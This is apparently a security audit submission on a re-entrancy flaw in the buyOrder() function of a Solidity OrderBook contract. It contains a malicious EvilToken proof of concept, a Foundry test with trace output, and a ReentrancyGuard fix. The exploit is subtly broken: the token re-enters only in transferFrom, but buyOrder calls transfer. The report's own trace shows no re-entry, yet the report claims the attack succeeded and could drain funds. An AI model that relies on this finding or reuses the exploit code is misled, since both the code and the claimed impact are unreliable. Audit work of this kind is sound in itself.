Description (important) :
Note: Due to a technical limitation in the submission interface, we were unable to select the exact file path under the Scope section. As a workaround, we selected the root path (.../). However, please note that the actual affected file is: src/OrderBook.sol
Root Cause :
-
The buyOrder()
function in OrderBook.sol
is vulnerable to a re-entrancy attack. This happens for two main reasons:
-
The contract updates the totalFees
state variable after making external calls, breaking the Checks-Effects-Interactions pattern.
-
The contract allows any ERC20 token to be listed via setAllowedSellToken
without verifying whether the token behaves safely. This opens the door for malicious tokens that can trigger re-entrant behavior in their transfer
or transferFrom
functions.
Together, these design flaws can be exploited to drain funds from the contract using a specially crafted token.
Impact :
This vulnerability allows a malicious actor to drain funds from the OrderBook
contract. By adding a specially crafted ERC20 token with re-entrant behavior to the list of allowed tokens, the attacker can exploit the buyOrder()
function multiple times within a single transaction. This can result in the attacker receiving more tokens than intended or causing locked tokens to be released repeatedly. If left unpatched, this flaw could lead to significant financial loss for the protocol or its users.
Normal Behavior :
In normal operation, the buyOrder()
function lets a buyer purchase tokens listed by a seller in exchange for a fixed amount of USDC. Once the payment is received, the contract transfers the seller’s tokens to the buyer, marks the order as inactive, and updates the protocol’s collected fees.
Specific Issue or Problem :
The buyOrder()
function makes multiple external token transfers before finishing all internal updates—most importantly, before updating totalFees
. If the token being sold is malicious and has a re-entrant transfer
function, it can call back into buyOrder()
while the first call is still running. Even though the second call might revert due to isActive = false
, the fact that re-entrancy is possible opens the door to logic manipulation and potential fund loss.
function buyOrder(uint256 _orderId) public {
Order storage order = orders[_orderId];
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
order.isActive = false;
uint256 protocolFee = (order.priceInUSDC * FEE) / PRECISION;
uint256 sellerReceives = order.priceInUSDC - protocolFee;
iUSDC.safeTransferFrom(msg.sender, address(this), protocolFee);
iUSDC.safeTransferFrom(msg.sender, order.seller, sellerReceives);
IERC20(order.tokenToSell).safeTransfer(msg.sender, order.amountToSell);
totalFees += protocolFee;
emit OrderFilled(_orderId, msg.sender, order.seller);
}
Risk :
Likelihood:
-
This attack becomes possible if the contract owner mistakenly allows a malicious ERC20 token through setAllowedSellToken
. If that token includes re-entrant logic in its transfer
or transferFrom
functions, the vulnerability can be triggered when someone tries to buy a sell order using buyOrder()
.
Since the contract doesn't have general protections against re-entrancy (like a reentrancy guard), a malicious token can exploit this flow and interfere with internal state changes.
Impact:
-
If a malicious token is allowed, an attacker can exploit the buyOrder()
function to drain locked seller tokens or the contract’s USDC funds through repeated re-entrant calls. This could result in serious fund loss—either from the protocol’s collected fees or from users’ tokens.
In some edge cases, the same sell order might even get filled more than once, leading to unexpected asset imbalance and broken assumptions in the protocol.
Proof of Concept :
pragma solidity ^0.8.20;
import "../OrderBook.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "forge-std/console.sol";
contract EvilToken is IERC20 {
string public name = "EvilToken";
string public symbol = "EVL";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
bool public attackMode;
address public orderBook;
uint256 public targetOrderId;
constructor(address _orderBook) {
orderBook = _orderBook;
totalSupply = 1_000_000 ether;
balanceOf[msg.sender] = totalSupply;
}
function setAttack(bool _attack, uint256 _orderId) external {
attackMode = _attack;
targetOrderId = _orderId;
}
function transfer(address to, uint256 amount) public returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
return true;
}
function approve(address spender, uint256 amount) public returns (bool) {
allowance[msg.sender][spender] = amount;
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
balanceOf[to] += amount;
if (attackMode) {
console.log("Reentrancy triggered!");
OrderBook(orderBook).buyOrder(targetOrderId);
}
return true;
}
}
------------------------------------------------------------------------------------------------------------
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockERC20 is ERC20 {
constructor(string memory name_, string memory symbol_, uint8 decimals_) ERC20(name_, symbol_) {
_setupDecimals(decimals_);
}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
function _setupDecimals(uint8) internal {}
}
------------------------------------------------------------------------------------------------------------
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/OrderBook.sol";
import "../src/test-tokens/EvilToken.sol";
import "../src/test-tokens/MockERC20.sol";
contract EvilTokenTest is Test {
OrderBook orderBook;
EvilToken evil;
IERC20 usdc;
address seller = address(1);
address buyer = address(2);
address owner = address(this);
function setUp() public {
usdc = new MockERC20("USD Coin", "USDC", 6);
orderBook = new OrderBook(
address(1),
address(2),
address(3),
address(usdc),
owner
);
evil = new EvilToken(address(orderBook));
vm.prank(owner);
orderBook.setAllowedSellToken(address(evil), true);
evil.transfer(seller, 1_000 ether);
vm.startPrank(seller);
evil.approve(address(orderBook), type(uint256).max);
orderBook.createSellOrder(address(evil), 100 ether, 1000 * 1e6, 1 days);
vm.stopPrank();
MockERC20(address(usdc)).mint(buyer, 10_000 * 1e6);
vm.prank(buyer);
usdc.approve(address(orderBook), type(uint256).max);
}
function test_ReentrancyAttackOnBuyOrder() public {
vm.prank(address(this));
evil.setAttack(true, 1);
vm.prank(buyer);
orderBook.buyOrder(1);
}
}
Instructions to Run PoC:
1 - Create necessary directories:
In your project root, create the src/test-tokens
directories.
2 - Place token files:
Place EvilToken.sol
in src/test-tokens/EvilToken.sol
.
Place MockERC20.sol
in src/test-tokens/MockERC20.sol
.
3 - Place the test file:
Place EvilToken.t.sol
in test/EvilToken.t.sol
.
4 - Install dependencies:
Ensure OpenZeppelin Contracts and forge-std are properly installed (run forge install).
5 - Run the test:
In your project terminal, execute the following command:
forge test --mt test_ReentrancyAttackOnBuyOrder -vvvv
Expected Output :
The test test_ReentrancyAttackOnBuyOrder()
is expected to PASS.
This means the Re-entrancy attack was successfully triggered, and the OrderBook
contract failed to stop it.
You should see logs confirming that the EvilToken
re-entered the buyOrder()
function during execution.
[⠊] Compiling...
[⠊] Compiling 2 files with Solc 0.8.28
[⠒] Solc 0.8.28 finished in 873.42ms
Compiler run successful!
Ran 1 test for test/EvilToken.t.sol:EvilTokenTest
[PASS] test_ReentrancyAttackOnBuyOrder() (gas: 169606)
Traces:
[179206] EvilTokenTest::test_ReentrancyAttackOnBuyOrder()
├─ [0] VM::prank(EvilTokenTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
│ └─ ← [Return]
├─ [27824] EvilToken::setAttack(true, 1)
│ └─ ← [Stop]
├─ [0] VM::prank(SHA-256: [0x0000000000000000000000000000000000000002])
│ └─ ← [Return]
├─ [134801] OrderBook::buyOrder(1)
│ ├─ [33161] MockERC20::transferFrom(SHA-256: [0x0000000000000000000000000000000000000002], OrderBook: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 30000000 [3e7])
│ │ ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: OrderBook: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 30000000 [3e7])
│ │ └─ ← [Return] true
│ ├─ [26361] MockERC20::transferFrom(SHA-256: [0x0000000000000000000000000000000000000002], ECRecover: [0x0000000000000000000000000000000000000001], 970000000 [9.7e8])
│ │ ├─ emit Transfer(from: SHA-256: [0x0000000000000000000000000000000000000002], to: ECRecover: [0x0000000000000000000000000000000000000001], value: 970000000 [9.7e8])
│ │ └─ ← [Return] true
│ ├─ [28558] EvilToken::transfer(SHA-256: [0x0000000000000000000000000000000000000002], 100000000000000000000 [1e20])
│ │ └─ ← [Return] true
│ ├─ emit OrderFilled(orderId: 1, buyer: SHA-256: [0x0000000000000000000000000000000000000002], seller: ECRecover: [0x0000000000000000000000000000000000000001])
│ └─ ← [Stop]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 17.63ms (964.25µs CPU time)
Ran 1 test suite in 105.71ms (17.63ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended Mitigation :
1. Add a Re-entrancy Guard
The most effective fix is to use a re-entrancy guard, like OpenZeppelin’s ReentrancyGuard
.
How:
Make the OrderBook
contract inherit from ReentrancyGuard
and add the nonReentrant
modifier to all sensitive functions, especially:
**2. Follow the Checks-Effects-Interactions Pattern Carefully **
Update all internal state (like totalFees
or order.isActive
) before making any external token transfers. This protects against attackers who try to re-enter before the contract finishes updating its state.
3. Validate Tokens More Strictly
The setAllowedSellToken()
function should only allow well-behaved tokens.
To prevent abuse:
-
Reject tokens that have transfer fees, rebasing, or custom logic in transfer()
or transferFrom()
.
-
Consider adding a whitelist of known safe tokens or use an external validator to check token behavior before allowing them.
@@ -2,6 +2,7 @@
pragma solidity ^0.8.0;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; // Add this import for ReentrancyGuard
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol"; // For number to string conversion
@@ -10,7 +11,7 @@
* @author Chukwubuike Victory Chime yeahChibyke @github.com
* @notice This contract is built to mirror the way order-books operate in TradFi, but on DeFi, as close as possible
*/
-contract OrderBook is Ownable {
+contract OrderBook is Ownable, ReentrancyGuard { // Inherit ReentrancyGuard for protection
using SafeERC20 for IERC20;
using Strings for uint256;
@@ -128,7 +129,7 @@
emit OrderAmended(_orderId, _newAmountToSell, _newPriceInUSDC, newDeadlineTimestamp);
}
- function cancelSellOrder(uint256 _orderId) public {
+ function cancelSellOrder(uint256 _orderId) public nonReentrant { // Apply nonReentrant modifier to prevent re-entrancy
Order storage order = orders[_orderId];
// Validation checks
@@ -147,7 +148,7 @@
emit OrderCancelled(_orderId, order.seller);
}
- function buyOrder(uint256 _orderId) public {
+ function buyOrder(uint256 _orderId) public nonReentrant { // Apply nonReentrant modifier to prevent re-entrancy
Order storage order = orders[_orderId];
// Validation checks
@@ -194,7 +195,7 @@
emit EmergencyWithdrawal(_tokenAddress, _amount, _to);
}
- function withdrawFees(address _to) external onlyOwner {
+ function withdrawFees(address _to) external onlyOwner nonReentrant { // Apply nonReentrant modifier to prevent re-entrancy
if (totalFees == 0) {
revert InvalidAmount();
}